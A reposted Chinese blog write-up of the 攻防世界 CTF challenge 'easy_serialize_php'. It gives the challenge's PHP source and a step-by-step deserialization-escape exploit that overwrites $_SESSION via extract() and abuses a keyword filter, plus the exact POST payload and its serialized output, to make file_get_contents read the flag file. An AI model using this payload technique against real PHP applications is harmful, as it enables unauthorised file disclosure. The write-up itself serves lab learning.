博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
攻防世界 easy_serialize_php
阅读量:2066 次
发布时间:2019-04-29

本文共 2368 字,大约阅读时间需要 7 分钟。

  • 上来直接给源码 直接在代码中加入自己的理解
source_code';}if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));}$serialize_info = filter(serialize($_SESSION));# 这里就是题目的名称 序列化了 并且用filter()函数进行了过滤if($function == 'highlight_file'){
highlight_file('index.php');}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); # 这里会输出userinfo['img']内容 大概我们要想办法使得这里的值为flag文件}
  • 理一下思路
  • 首先题目给了提示maybe you can find something in here!
  • 所以可以?f=phpinfo看看有什么好东西
    在这里插入图片描述
  • 这个应该就是flag文件了d0g3_f1ag.php也就是我们要使echo file_get_contents(base64_decode($userinfo['img']));输出的东西
  • 问题来了img_path在赋值的时候套了一层sha1()加密 如果直接传img_path=d0g3_f1ag.php是没有用的
  • 也就是说如果我们现在上传?f=show_image&img_path=d0g3_f1ag.php
  • 此时
$serialize_info = filter(serialize($_SESSION));// serialize_info的值为//a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
  • 现在我们要做到就是使得Session[img]=ZDBnM19mMWFnLnBocA==
  • ZDBnM19mMWFnLnBocA==d0g3_f1ag.php的base64编码
  • 看到正则替换和反序列化的时候一定要想到反序列化逃逸 一定要!!!
  • 我们利用变量覆盖
";extract($_POST);var_dump($_SESSION);?># 第一个var_dump的值array(2) {
["user"]=> string(5) "guest" ["function"]=> NULL}# 如果$_POST为 _SESSION[flag]=1则其值变为array(1) {
["flag"]=> int(1)}
  • 所以我们这里构造一个payload
  • _SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
  • 此时序列化后的结果由

$_SESSION[‘phpflag’]=’;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}’;

$_SESSION[‘img’] = base64_encode(‘guest_img.png’);
序列化得到
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

  • 而经过filter()函数的过滤
  • a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
  • 这时候第一个键值就由phpflag变为";s:48:值为1
  • 第二个键值就为img值为"ZDBnM19mMWFnLnBocA=="而后面的就被丢弃了
  • 此时经过反序列化的结果就是
array(2) {
["";s:48:"]=> string(1) "1" ["img"]=> string(20) "ZDBnM19mMWFnLnBocA=="}
  • post 上传上面的payload
    在这里插入图片描述
  • 访问就能得到flag了
  • 附赠 我的php测试代码 还有python编码代码
import hashlibimport base64before = 'guest_img.png'bs64 = base64.b64encode(before.encode('utf-8'))bs64 = str(bs64,encoding='utf-8')print(bs64)sha1 = hashlib.sha1()sha1.update(bs64.encode('utf-8'))print(sha1.hexdigest())

转载地址:http://tywmf.baihongyu.com/

你可能感兴趣的文章
云原生 第十二章 可观测性:监控与日志
查看>>
Leetcode C++ 《第203场周赛》
查看>>
云原生 第十三章 Kubernetes网络概念及策略控制
查看>>
《redis设计与实现》 第一部分:数据结构与对象 || 读书笔记
查看>>
《redis设计与实现》 第二部分(第9-11章):单机数据库的实现
查看>>
算法工程师 面经2019年5月
查看>>
搜索架构师 一面面经2019年6月
查看>>
稻草人手记
查看>>
第一次kaggle比赛 回顾篇
查看>>
leetcode 50. Pow(x, n)
查看>>
leetcode 130. Surrounded Regions
查看>>
【托业】【全真题库】TEST2-语法题
查看>>
博客文格式优化
查看>>
【托业】【新托业全真模拟】疑难语法题知识点总结(01~05)
查看>>
【SQL】group by 和order by 的区别。
查看>>
【Python】详解Python多线程Selenium跨浏览器测试
查看>>
Jmeter之参数化
查看>>
Shell 和Python的区别。
查看>>
Python 列表(list)、字典(dict)、字符串(string)常用基本操作小结
查看>>
Loadrunner之https协议录制回放报错如何解决?(九)
查看>>